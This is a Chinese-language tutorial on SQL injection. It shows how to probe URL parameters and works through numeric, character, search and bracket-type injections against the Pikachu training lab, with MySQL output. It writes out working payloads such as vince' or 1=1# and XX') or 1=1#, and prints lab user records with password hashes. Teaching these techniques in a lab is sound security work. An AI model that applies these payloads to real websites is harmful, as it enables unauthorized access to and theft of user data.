SQL注入攻击初探
作者:vista | 发布时间:
1. 手工检测SQL注入点
最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页链接。
http://www.*****.com/***.asp?id=xx (ASP注入)
或者下面的链接。
http://www.*****.com/***.php?id=xx (php注入)
http://www.*****.com/***.jsp?id=xx (jsp注入)
http://www.*****.com/***.aspx?id=xx (aspx注入)
http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)
http://www.*****.com/index/new/id/8 伪静态
http://www. *****.com/index/new/php-8.html伪静态
其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。如何判断某个网页链接是否存在SQL注入漏洞呢?通常有两种检测方法。
1.1 “单引号”法
第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
1.2 1=1和1=2法
很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。
2. 注入分类
2.1 数字型注入
登录测试环境观察如下:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| bwapp |
| mysql |
| performance_schema |
| pikachu |
| test |
| test1 |
+--------------------+
7 rows in set (0.00 sec)
mysql> use pikachu
Database changed
mysql> show tables;
+-------------------+
| Tables_in_pikachu |
+-------------------+
| httpinfo |
| member |
| message |
| users |
| xssblind |
+-------------------+
5 rows in set (0.00 sec)
mysql> desc member; 查看member这个表的字段
+----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| username | varchar(66) | NO | | NULL | |
| pw | varchar(128) | NO | | NULL | |
| sex | char(10) | NO | | NULL | |
| phonenum | varchar(255) | NO | | NULL | |
| address | varchar(255) | NO | | NULL | |
| email | varchar(255) | NO | | NULL | |
+----------+------------------+------+-----+---------+----------------+
7 rows in set (0.00 sec)
mysql> select username,email from member where id=1;
+----------+-------------------+
| username | email |
+----------+-------------------+
| vince | vince@pikachu.com |
+----------+-------------------+
1 row in set (0.00 sec)
mysql> select username,email from member where id=1 or 1=1;
+----------+-------------------+
| username | email |
+----------+-------------------+
| vince | vince@pikachu.com |
| allen | allen@pikachu.com |
| kobe | kobe@pikachu.com |
| grady | grady@pikachu.com |
| kevin | kevin@pikachu.com |
| lucy | lucy@pikachu.com |
| lili | lili@pikachu.com |
+----------+-------------------+
7 rows in set (0.00 sec)
发现输入or 1=1之后全部显示出来了,下面我们通过burp抓包输入一个or 1=1设置一个payload,点击提交后,在Render中查看结果。通过判断存在SQL注入,且为数字型注入,可以通过拼接SQL语句来实现注入。

2.2 字符型注入
打开pikachu平台,在SQL-Inject下选择字符型注入。输入在之前我们已经知道的一个id

我们发现需要输入字符串来完成查询。按照之前的思路我们写一个查询语句select id,email from member where username='vince' ;
在这个基础上进行拼接来写一个”万能密码“,按照之前的构想,拼写一个select id,email from member where username='vince' or 1=1 ;为了验证想法我们输入尝试以下
mysql> select id,email from member where username='vince';
+----+-------------------+
| id | email |
+----+-------------------+
| 1 | vince@pikachu.com |
+----+-------------------+
1 row in set (0.00 sec)
mysql> select id,email from member where username='vince or 1=1';
Empty set (0.00 sec)
我们发现这个语句存在问题,发现这个语句的vince or 1=1是直接被认作字符串,我们在vince后面添加单引号来闭合vince,再在1=1后面添加注释#来消除掉后面的单引号,这样来完成一个SQL语句的拼接合法性。完整的语句为select id,email from member where username='vince‘ or 1=1#';我们回到pikachu平台输入vince‘ or 1=1#
mysql> select id,email from member where username='vince' or 1=1#';
-> ;
+----+-------------------+
| id | email |
+----+-------------------+
| 1 | vince@pikachu.com |
| 2 | allen@pikachu.com |
| 3 | kobe@pikachu.com |
| 4 | grady@pikachu.com |
| 5 | kevin@pikachu.com |
| 6 | lucy@pikachu.com |
| 7 | lili@pikachu.com |
+----+-------------------+
7 rows in set (0.00 sec)

2.3 搜索型注入
打开pikachu平台,在SQL-Inject下选择搜索型注入,然后随意输入一个字母,能看到匹配出了对应的信息。按照SQL的模糊查询命令select * from 表名 where 字段名 like ‘%(对应值)%’;,发现可以按照之前的思路来实现万能语句的拼接。
mysql> select * from member where username like '%vince%' or 1=1;
+----+----------+----------------------------------+------+-------------+-------
----------------+-------------------+
| id | username | pw | sex | phonenum | addres
s | email |
+----+----------+----------------------------------+------+-------------+-------
----------------+-------------------+
| 1 | vince | e10adc3949ba59abbe56e057f20f883e | boy | 18626545453 | chain
| vince@pikachu.com |
| 2 | allen | e10adc3949ba59abbe56e057f20f883e | boy | 13676767767 | nba 76
| allen@pikachu.com |
| 3 | kobe | e10adc3949ba59abbe56e057f20f883e | boy | 15988767673 | nba la
kes | kobe@pikachu.com |
| 4 | grady | e10adc3949ba59abbe56e057f20f883e | boy | 13676765545 | nba hs
| grady@pikachu.com |
| 5 | kevin | e10adc3949ba59abbe56e057f20f883e | boy | 13677676754 | Oklaho
ma City Thunder | kevin@pikachu.com |
| 6 | lucy | e10adc3949ba59abbe56e057f20f883e | girl | 12345678922 | usa
| lucy@pikachu.com |
| 7 | lili | e10adc3949ba59abbe56e057f20f883e | girl | 18656565545 | usa
| lili@pikachu.com |
+----+----------+----------------------------------+------+-------------+--
回到pikachu平台,将拼接语句写为%xxxx%'or 1=1 #%'

2.4 XX型注入
XX型是由于SQL语句拼接方式不同,注入语句如下:
mysql> select * from member where username=('xx') or 1=1;

回到pikachu平台,将拼接语句写为XX') or 1=1#

3. 注入提交方式
ASP:request (全部接受)、request.querystring (接受get)、request.form (接受post)、 request.cookie cookie (接受cookie)
PHP: $_REQUEST(全部接受)、$_GET $_POST (接受post)、$_COOKIE(接受cookie)
3.1 get提交
一般直接通过浏览器地址栏提交,如下图:

3.2 post提交
可通过安装火狐浏览器插件(hackbar)或Burp工具来完成,如下图:

3.3 cookie提交
一般通Burp工具来完成,如下图:
